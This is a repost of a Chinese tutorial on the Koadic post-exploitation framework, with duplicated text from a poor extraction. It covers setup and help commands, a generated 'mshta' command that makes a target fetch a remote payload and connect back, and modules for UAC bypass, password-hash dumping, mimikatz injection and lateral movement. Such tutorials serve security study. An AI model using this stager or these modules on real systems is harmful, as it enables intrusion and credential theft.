搜索

[12099] 2017-12-07_后渗透工具Koadic：你真的了解我吗？

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-12-07_后渗透工具Koadic：你真的了解我吗？ 后 渗 透 工 具 K o a d i c ： 你 真 的 了 解 我 吗 ？ b a i m a o z i   F r e e B u f   2 0 1 7 - 1 2 - 0 7 前 言 ： 前 言 ： 在 朋 友 的 博 客 上 看 到 推 荐 的 一 款 工 具 在 朋 友 的 博 客 上 看 到 推 荐 的 一 款 工 具 K o a d i c ， 我 接 触 了 以 后 发 现 很 不 错 这 款 工 具 的 强 大 之 处 我 觉 得 就 是 拿 到 ， 我 接 触 了 以 后 发 现 很 不 错 这 款 工 具 的 强 大 之 处 我 觉 得 就 是 拿 到 s h e l l 后 的 各 种 模 块 功 能 ， 我 就 自 己 写 出 来 发 给 大 家 看 看 吧 。 后 的 各 种 模 块 功 能 ， 我 就 自 己 写 出 来 发 给 大 家 看 看 吧 。 首 先 把 项 目 克 隆 到 本 地 ： 项 目 地 址 h t t p s : / / g i t h u b . c o m / z e r o s u m 0 x 0 / k o a d i c . g i t 然 后 解 压 ， 如 果 你 要 安 装 到 你 指 定 的 目 录 就 先 c d 到 那 个 目 录 在 下 载 ， 我 是 复 制 到 那 了 ， 所 以 我 解 压 。 如 下 图 运 行 k o a d i c c d   k o a d i c - m a s t e r /   / / c d 到 软 件 目 录 s u d o   . / k o a d i c   / / 用 最 高 权 限 运 行 k o a d i c 打 开 K o a d i c ， 显 示 需 要 设 置 的 内 容 下 图 命 令 如 下 查 看 需 要 设 置 的 内 容 ( k o a d i c :   s t a / j s / m s h t a ) #   i n f o           / /
查 看 工 具 使 用 帮 助 大 佬 跳 过 我 的 翻 译 ， 英 语 很 渣 而 且 是 全 靠 感 觉 翻 译 的 （ 很 辛 苦 ， 靠 经 验 和 百 度 翻 译 蒙 ） ( k o a d i c :   s t a / j s / m s h t a ) #   h e l p   / / 帮 助 的 意 思 ( k o a d i c :   s t a / j s / m s h t a ) #   h e l p
C O M M A N D   D E S C R I P T I O N   命 令   描 述 — — —   — — — — - l o a d   r e l o a d s   a l l   m o d u l e s   / / 显 示 i n f o   s h o w s   t h e   c u r r e n t   m o d u l e   o p t i o n s / / 显 示 当 前 模 块 选 项 。 u s e   s w i t c h   t o   a   d i f f e r e n t   m o d u l e / / 切 换 到 不 同 的 模 块 s e t   s e t s   a   v a r i a b l e   f o r   t h e   c u r r e n t   m o d u l e / / 为 当 前 模 块 设 置 一 个 变 量 j o b s   s h o w s   i n f o   a b o u t   j o b s / / 显 示 有 关 工 作 的 信 息 h e l p   d i s p l a y s   h e l p   i n f o   f o r   a   c o m m a n d / / 获 取 一 个 c m d s h e l l c m d s h e l l   c o m m a n d   s h e l l   t o   i n t e r a c t   w i t h   a   z o m b i e / /   命 令   s h e l l   与 僵 尸 交 互 k i l l   s h o w s   i n f o   a b o u t   j o b s / / 显 示 有 关 工 作 的 信 息 l i s t e n e r s   s h o w s   i n f o   a b o u t   s t a g e r s / / 显 示 信 息 的 传 输 器 载 荷 e x i t   e x i t s   t h e   p r o g r a m / / 退 出 z o m b i e s   l i s t s   h o o k e d   t a r g e t s / / 显 示 所 有 僵 尸 会 话 r u n   r u n s   t h e   c u r r e n t   m o d u l e / / 运 行 ， 和 e x p l o i t 一 个 样 v e r b o s e   e x i t s   t h e   p r o g r a m / / 退 出 程 序 进 入 主 题 进 入 主 题   ， 开 始 设 置 。 ， 开 始 设 置 。 听 着 是 不 是 热 血 沸 腾 要 往 下 看 了 ， 哈 哈 。 其 实 没 啥 要 讲 的 ， 你 只 需 要 其 实 没 啥 要 讲 的 ， 你 只 需 要 s e t   l h o s t 这 个 命 令 大 家 应 该 都 懂 得 ， 就 是 设 置 本 地 这 个 命 令 大 家 应 该 都 懂 得 ， 就 是 设 置 本 地 i p 。 。 如 下 图 如 下 图   注 意 看 ， 他 生 成 了 一 个 网 址 ， 其 实 这 是 一 个 恶 意 网 址 ， 里 面 装 载 了 e x p l o i t 最 后 生 成 的 利 用 命 令 如 下 利 用 方 法 是 放 到 c m d 里 面 执 行 如 下 图 m s h t a   h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 0 5 : 9 9 9 9 / S 8 Q o C
其 实 你 可 以 看 到 他 弹 出 了 事 件 查 看 器 我 也 不 知 道 为 什 么 ， 不 是 我 点 开 的 啊 ， 也 可 能 会 好 奇 m s h t a 是 什 么 意 思 ， 正 解 如 下 m s h t a . e x e 是 微 软 W i n d o w s 操 作 系 统 相 关 程 序 ， 用 于 执 行 . H T A 文 件 我 想 就 是 这 样 利 用 的 吧 那 么 当 目 标 主 机 运 行 这 个 命 令 的 时 候 ， 我 们 这 边 就 反 弹 回 来 了 会 话 那 么 当 目 标 主 机 运 行 这 个 命 令 的 时 候 ， 我 们 这 边 就 反 弹 回 来 了 会 话   会 话 会 话 I D 为 为 0 如 下 图 如 果 是 用 其 他 复 制 批 量 执 行 了 这 个 命 令 ， 会 话 比 较 多 的 话 可 以 执 行 如 果 是 用 其 他 复 制 批 量 执 行 了 这 个 命 令 ， 会 话 比 较 多 的 话 可 以 执 行 z o m b i e s 来 查 看 左 右 会 话 ， 并 选 择 来 查 看 左 右 会 话 ， 并 选 择 i d 进 行 控 制 进 行 控 制 然 后 如 果 我 这 里 想 获 取 一 个 c m d s h e l l 的 话 ， 方 法 如 下 c m d s h e l l   I D 我 这 里 应 该 是   c m d s h e l l   0 如 下 图
当 然 这 怎 么 能 算 得 上 好 用 的 后 渗 透 呢 ， 这 怎 么 能 满 足 大 家 呢 当 然 了 ， 上 面 只 是 普 通 操 作 ， 普 通 操 作 ， 所 谓 后 渗 透 ， 在 下 面 ， 当 然 了 ， 上 面 只 是 普 通 操 作 ， 普 通 操 作 ， 所 谓 后 渗 透 ， 在 下 面 ， 慢 慢 看 嘛 ， 这 个 后 渗 透 工 具 值 得 上 榜 的 原 因 我 认 为 有 几 条 1 . 环 境 要 求 不 高 2 . 操 作 很 简 单 3 . 提 供 的 后 渗 透 模 块 很 实 用 丰 富 后 渗 透 模 块 我 就 不 一 个 一 个 讲 了 ， 设 置 都 很 简 单 我 主 要 给 你 们 说 一 下 名 字 1 .   H o o k s   a   z o m b i e 2 .   E l e v a t e s   i n t e g r i t y   ( U A C   B y p a s s ) 3 .   D u m p s   S A M / S E C U R I T Y   h i v e   f o r   p a s s w o r d s 4 .   S c a n s   l o c a l   n e t w o r k   f o r   o p e n   S M B 5 .   P i v o t s   t o   a n o t h e r   m a c h i n e S t a g e r s （ 传 输 器 载 荷 ） （ 传 输 器 载 荷 ） S t a g e r s   h o o k   t a r g e t   z o m b i e s   a n d   a l l o w   y o u   t o   u s e   i m p l a n t s . 传 输 器 载 荷 可 以   h o o k   目 标 僵 尸 ， 进 而 方 便 使 用 植 入 。 M o d u l e D e s c r i p t i o n s t a g e r / j s / m s h t a 可 以 使 用 H T M L 的 应 用 程 序 在 内 存 中 的 有 效 载 荷 m s h t a . e x e s t a g e r / j s / r e g s v r 可 以 使 用 r e g s v r 3 2 . e x e   C O M + 脚 本 内 存 负 载
s t a g e r / j s / r u n d l l 3 2 _ j s s e r v e s   p a y l o a d s   i n   m e m o r y   u s i n g   r u n d l l 3 2 . e x e   可 以 使 用 r u n d l l 3 2 . e x e 内 存 负 载 s t a g e r / j s / d i s k s e r v e s   p a y l o a d s   u s i n g   f i l e s   o n   d i s k   使 用 磁 盘 上 的 文 件 提 供 有 效 载 荷 M o d u l e D e s c r i p t i o n I m p l a n t s （ （ I m p l a n t s   s t a r t   j o b s   o n   z o m b i e s . I m p l a n t s   在 僵 尸 上 运 行 。 M o d u l e D e s c r i p t i o n i m p l a n t / e l e v a t e / b y p a s s u a c _ e v e n t v w r U s e s   e n i g m a 0 x 3 ’ s   e v e n t v w r . e x e   e x p l o i t   t o   b y p a s s   U A C   o n   W i n d o w s   7 ,   8 ,   a n d   1 0 . 使 用 使 用 e n i g m a 0 x 3 的 的 e v e n t v w r . e x e 漏 洞 绕 过 漏 洞 绕 过 U A C 的 的 W i n d o w s   7 ,   8 ， 和 ， 和 1 0 。 。 i m p l a n t / e l e v a t e / b y p a s s u a c _ s d c l t U s e s   e n i g m a 0 x 3 ’ s   s d c l t . e x e   e x p l o i t   t o   b y p a s s   U A C   o n   W i n d o w s   1 0 . 使 用 使 用 e n i g m a 0 x 3 的 的 s d c l t . e x e 漏 洞 绕 过 漏 洞 绕 过 U A C 的 的 W i n d o w s   1 0 。 。 i m p l a n t / f u n / z o m b i e M a x e s   v o l u m e   a n d   o p e n s   T h e   C r a n b e r r i e s   Y o u T u b e   i n   a   h i d d e n   w i n d o w . 长 量 和 隐 藏 的 窗 口 打 开 小 红 莓 长 量 和 隐 藏 的 窗 口 打 开 小 红 莓 Y o u T u b e 。 。 i m p l a n t / f u n / v o i c e P l a y s   a   m e s s a g e   o v e r   t e x t - t o - s p e e c h . 在 文 本 到 语 音 之 间 传 递 信 息 。 在 文 本 到 语 音 之 间 传 递 信 息 。 i m p l a n t / g a t h e r / c l i p b o a r d R e t r i e v e s   t h e   c u r r e n t   c o n t e n t   o f   t h e   u s e r   c l i p b o a r d . 检 索 用 户 剪 贴 板 的 当 前 内 容 。 检 索 用 户 剪 贴 板 的 当 前 内 容 。 i m p l a n t / g a t h e r / h a s h d u m p _ s a m R e t r i e v e s   h a s h e d   p a s s w o r d s   f r o m   t h e   S A M   h i v e . 从 从 S A M   h i v e 检 索 密 码 。 检 索 密 码 。 i m p l a n t / g a t h e r / h a s h d u m p _ d c D o m a i n   c o n t r o l l e r   h a s h e s   f r o m   t h e   N T D S . d i t   f i l e . 域 控 制 器 域 控 制 器 h a s h e s 从 从 N T D S 。 说 文 件 。 。 说 文 件 。 i m p l a n t / i n j e c t / m i m i k a t z _ d y n w r a p x I n j e c t s   a   r e f l e c t i v e - l o a d e d   D L L   t o   r u n   p o w e r k a t z . d l l   ( u s i n g   D y n a m i c   W r a p p e r   X ) . 注 入 一 个 反 射 加 载 的 注 入 一 个 反 射 加 载 的 D L L 来 来 运 行 运 行 p o w e r k a t z 。 。 d l l ( 使 用 动 态 包 装 器 使 用 动 态 包 装 器 X ) 。 。 i m p l a n t / i n j e c t / m i m i k a t z _ d o t n e t 2 j s I n j e c t s   a   r e f l e c t i v e - l o a d e d   D L L   t o   r u n   p o w e r k a t z . d l l   ( @ t i r a n n i d o   D o t N e t T o J S ) . 注 入 一 个 反 射 加 载 的 注 入 一 个 反 射 加 载 的 D L L 来 运 来 运 行 行 p o w e r k a t z 。 。 d l l ( @ t i r a n n i d o   D o t N e t T o J S ) 。 。 i m p l a n t / i n j e c t / s h e l l c o d e _ e x c e l R u n s   a r b i t r a r y   s h e l l c o d e   p a y l o a d   ( i f   E x c e l   i s   i n s t a l l e d ) . 运 行 任 意 的 运 行 任 意 的 s h e l l 代 码 有 效 负 载 代 码 有 效 负 载 ( 如 果 已 经 安 装 了 如 果 已 经 安 装 了 E x c e l ) 。 。 i m p l a n t / m a n a g e / e n a b l e _ r d e s k t o p E n a b l e s   r e m o t e   d e s k t o p   o n   t h e   t a r g e t . 在 目 标 上 启 用 远 程 桌 面 。 在 目 标 上 启 用 远 程 桌 面 。 i m p l a n t / m a n a g e / e x e c _ c m d R u n   a n   a r b i t r a r y   c o m m a n d   o n   t h e   t a r g e t ,   a n d   o p t i o n a l l y   r e c e i v e   t h e   o u t p u t . 在 目 标 上 运 行 任 意 命 令 ， 并 可 选 在 目 标 上 运 行 任 意 命 令 ， 并 可 选 地 接 收 输 出 。 地 接 收 输 出 。 i m p l a n t / p i v o t / s t a g e _ w m i H o o k   a   z o m b i e   o n   a n o t h e r   m a c h i n e   u s i n g   W M I . 用 用 W M I 把 僵 尸 挂 在 另 一 台 机 器 上 。 把 僵 尸 挂 在 另 一 台 机 器 上 。 i m p l a n t / p i v o t / e x e c _ p s e x e c R u n   a   c o m m a n d   o n   a n o t h e r   m a c h i n e   u s i n g   p s e x e c   f r o m   s y s i n t e r n a l s . 使 用 使 用 s y s i n t e r n a l s 中 的 中 的 p s e x e c 在 另 一 台 机 在 另 一 台 机 器 上 运 行 一 个 命 令 。 器 上 运 行 一 个 命 令 。 i m p l a n t / s c a n / t c p U s e s   H T T P   t o   s c a n   o p e n   T C P   p o r t s   o n   t h e   t a r g e t   z o m b i e   L A N . 使 用 使 用 H T T P 扫 描 目 标 僵 尸 网 络 上 的 扫 描 目 标 僵 尸 网 络 上 的 T C P 端 口 。 端 口 。 i m p l a n t / u t i l s / d o w n l o a d _ f i l e D o w n l o a d s   a   f i l e   f r o m   t h e   t a r g e t   z o m b i e . 从 目 标 僵 尸 下 载 一 个 文 件 从 目 标 僵 尸 下 载 一 个 文 件 i m p l a n t / u t i l s / u p l o a d _ f i l e U p l o a d s   a   f i l e   f r o m   t h e   l i s t e n i n g   s e r v e r   t o   t h e   t a r g e t   z o m b i e s . 上 传 一 个 从 监 听 服 务 器 到 目 标 僵 尸 的 文 件 上 传 一 个 从 监 听 服 务 器 到 目 标 僵 尸 的 文 件 D i s c l a i m e r   声 明 声 明 代 码 示 例 仅 供 教 育 参 考 ， 因 为 只 有 研 究 攻 击 者 使 用 的 攻 击 手 段 ， 才 能 建 立 足 够 强 大 的 防 御 体 系 。   在 未 经 事 先 许 可 的 情 况 下 使 用 此 代 码 对 目 标 系 统 进 行 操 作 是 非 法 的 ， 作 者 对 此 不 负 任 何 责 任 。 编 辑 ： P i n g x 有 不 好 的 地 方 请 指 出 * 本 文 作 者 ： b a i m a o z i ， 转 载 请 注 明 来 自   F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理